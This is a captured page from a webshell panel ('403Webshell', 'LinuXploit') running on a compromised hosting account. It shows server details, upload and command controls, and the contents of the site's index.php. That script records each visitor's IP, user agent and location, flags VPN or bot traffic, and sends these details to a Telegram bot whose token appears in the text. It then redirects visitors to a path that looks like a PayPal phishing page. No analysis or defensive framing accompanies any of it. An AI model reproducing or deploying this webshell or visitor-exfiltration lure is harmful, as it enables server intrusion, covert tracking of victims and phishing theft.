- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 162.0.215.126  /  Your IP : 216.73.216.4
Web Server : LiteSpeed
System : Linux business105.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User : tektomgb ( 586)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tektomgb/tektk77hoki.us/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tektomgb/tektk77hoki.us/index.php
<?php

// === CONFIGURATION ===
$bot_token = '8049766515:AAFSqIITFHZ9ix4eWEfmNo9V729UMAFfrJM';
$chat_id = '-4823923072'; // Use a negative number like -1001234567890
$redirect_url = 'https://www.tektk77hoki.us/x/paypal'; // Where to redirect the user

// === COLLECT BASIC INFO ===
$ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$referer = $_SERVER['HTTP_REFERER'] ?? 'None';
$time = date('Y-m-d H:i:s');

// === DETECT VPN/PROXY/BOT/COUNTRY ===
$ip_api_url = "http://ip-api.com/json/$ip?fields=country,regionName,city,hosting,proxy,mobile,query,status,message";
$api_response = file_get_contents($ip_api_url);
$ip_info = json_decode($api_response, true);

$country = $ip_info['country'] ?? 'Unknown';
$region = $ip_info['regionName'] ?? 'Unknown';
$city = $ip_info['city'] ?? 'Unknown';
$is_proxy = $ip_info['proxy'] ?? false;
$is_hosting = $ip_info['hosting'] ?? false;
$is_mobile = $ip_info['mobile'] ?? false;
$status = $ip_info['status'] ?? 'fail';
$error_message = $ip_info['message'] ?? null;

// === DETECT BOT ===
$is_bot = false;
$bot_keywords = ['bot', 'spider', 'crawl', 'slurp', 'mediapartners'];
foreach ($bot_keywords as $bot_keyword) {
    if (stripos($user_agent, $bot_keyword) !== false) {
        $is_bot = true;
        break;
    }
}

// === FORMAT MESSAGE ===
if ($status === 'success') {
    $message = "đŸ“Ĩ New Visitor:\n"
             . "🕒 Time: $time\n"
             . "🌐 IP: $ip\n"
             . "🌍 Location: $country, $region, $city\n"
             . "📱 User Agent: $user_agent\n"
             . "â†Šī¸ Referer: $referer\n"
             . "🧠 VPN/Proxy: " . ($is_proxy ? 'Yes' : 'No') . "\n"
             . "đŸĸ Hosting Provider: " . ($is_hosting ? 'Yes' : 'No') . "\n"
             . "📱 Mobile Device: " . ($is_mobile ? 'Yes' : 'No') . "\n"
             . "🤖 Bot Detected: " . ($is_bot ? 'Yes' : 'No');
} else {
    $message = "âš ī¸ Visitor Data Fetch Failed:\n"
             . "🕒 Time: $time\n"
             . "🌐 IP: $ip\n"
             . "đŸšĢ Error: $error_message";
}

// === SEND TO TELEGRAM ===
$url = "https://api.telegram.org/bot$bot_token/sendMessage";
$data = [
    'chat_id' => $chat_id,
    'text' => $message,
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

// === REDIRECT ===
header("Location: $redirect_url");
exit;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit